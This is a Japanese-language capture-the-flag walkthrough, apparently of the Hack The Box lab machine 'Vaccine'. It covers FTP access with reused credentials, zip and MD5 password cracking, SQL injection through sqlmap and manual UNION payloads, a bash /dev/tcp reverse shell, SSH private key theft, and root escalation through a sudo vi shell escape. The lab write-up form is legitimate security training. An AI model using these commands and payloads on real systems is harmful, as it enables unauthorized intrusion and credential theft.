まずnmapから
ftp/21 ssh/22 http/80のポートが開いています。全ポートも検索しましたが特に追加の情報はなし。まずhttpサイトにアクセスしてみます。
ログイン画面が出てきました。ソースコードに情報なし、単純なパスワード(admin/password admin/passwd)も前回で使ったパスワードも通りません。niktoやgobusterもめぼしい情報はなし。
次にftpサーバーに接続してみます。パスワードはOopsieのルートをとった際に手に入れたユーザー情報(ftpuser/mc@F1l3ZilL4)を使用します(Oopsieのwalkthrough参照)。
backup.zipのみで、他にできることもなかったのでgetで入手。解凍しようとするとパスワードが要求されました。単純なパスワードも今までのパスワードも通りません。そこでJohn the Ripperでパスワード解析を行います。
zip2john backup.zip > hash.txt
john hash.txt
下から4行目の741852963がパスワードです。ちょうどテンキーの7から縦に進んでいくだけですね。このパスワードを使って解凍するとindex.phpとstyle.cssが手に入りました。cssには情報なし、index.phpを開くと
username/adminとpasswordが表示されています。パスワードをよく見てみるとmd5とあるのでmd5でデコードします(適当に検索して出たサイトを使いました)。するとqwerty789と出ます。ログイン後次のようなページが出てきます。
検索した文字が含まれる名前が抽出されます。例えばaと入力すると
http://10.10.10.46/dashboard.php?search=a
つまりsearchパラメータを通じてデータベースに渡していると考えられます。またburpsuiteでサイトを見てみるとクッキーを使用しているのが分かります
sqlmapを使いsqlインジェクションがあるか見てみましょう。
python3 sqlmap.py -u http://10.10.10.46/dashboard.php?search=a --cookie=[cookie] --os-shell
一番下の行PostgreSQLだと判明しました。--os-shellを付けることでreverseshellのコマンドを入力できます。
別のbash: sudo nc -lvnp 4444
python3 sqlmap.py -u http://10.10.10.46/dashboard.php?search=a --cookie=[cookie] --os-shell
bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'を入力すると
無事侵入できました。しかし使ってみるとわかりますが一定時間がたつと切断されてしまい、調査には不便です。まずはユーザーの情報を探してみます。ここでは2通りの方法で探し出すことができます。
①ssh接続
cat ~/.ssh/id_rsaを使うと秘密鍵が閲覧できます。これをコピーし秘密鍵を作成後(chmod 600 id_rsaとしないと秘密鍵が機能しません)、ssh接続でログインできます。
ssh -i id_rsa postgres@10.10.10.46
②パスワードを探す
先ほどログインしたサイトに何かデータがないか探ってみましょう。すると
postgresのパスワードを入手できました。このパスワードを使ってssh接続でログインできます。
では最後にrootを狙いましょう。ますsudo -lをすると
/bin/vi /etc/postgresql/11/main/pg_hba.conf
つまりpg_hba.confをviで見るときはroot権限なしで見られるということです。よって
/bin/vi /etc/postgresql/11/main/pg_hba.confでviを開いた後
:shell もしくは :!/bin/bash
でシェルに戻ることでroot権限が得られます。
番外編 sqlmapを使わずにsql injection
公式のwalkthroughではsqlmapを使用していましたが、手動でも可能です。まず検索欄に特殊文字(' " # % etc)を入れてみると
このようなエラーが出て、SQL injectionがあると判明しました。
まずUNION Attackで情報を集めます。まず' ORDER by 1-- からエラーが出るまで1ずつ増やしていきます。すると6でエラーがでます
つまりカラム数が5であると判明しました。次にこのカラム数をもとに
' UNION SELECT NULL,NULL,NULL,NULL,NULL--
このNULLの一つを'a'に置き換えて検索していくと1~4で反応が見られました。
この記事を書くにあたって以下のwriteupを参考にさせていただきました。
(' UNION SELECT NULL,'a',NULL,NULL,NULL--)
Nameにaが表示されています。つまり1~4のカラムに何かしらの情報を表示させることができそうです。例えば' UNION SELECT NULL,version(),NULL,NULL,NULL--とすると
このようにversionが表示されます。postgre 11.5のようですね。下記の記事に
postgreSQL 9.3以降のコマンドインジェクションが載っています。この通りに実行すればSQLMAP同様にリバースシェルを得ることができます。
この記事を書くにあたって以下を参考にさせていただきました。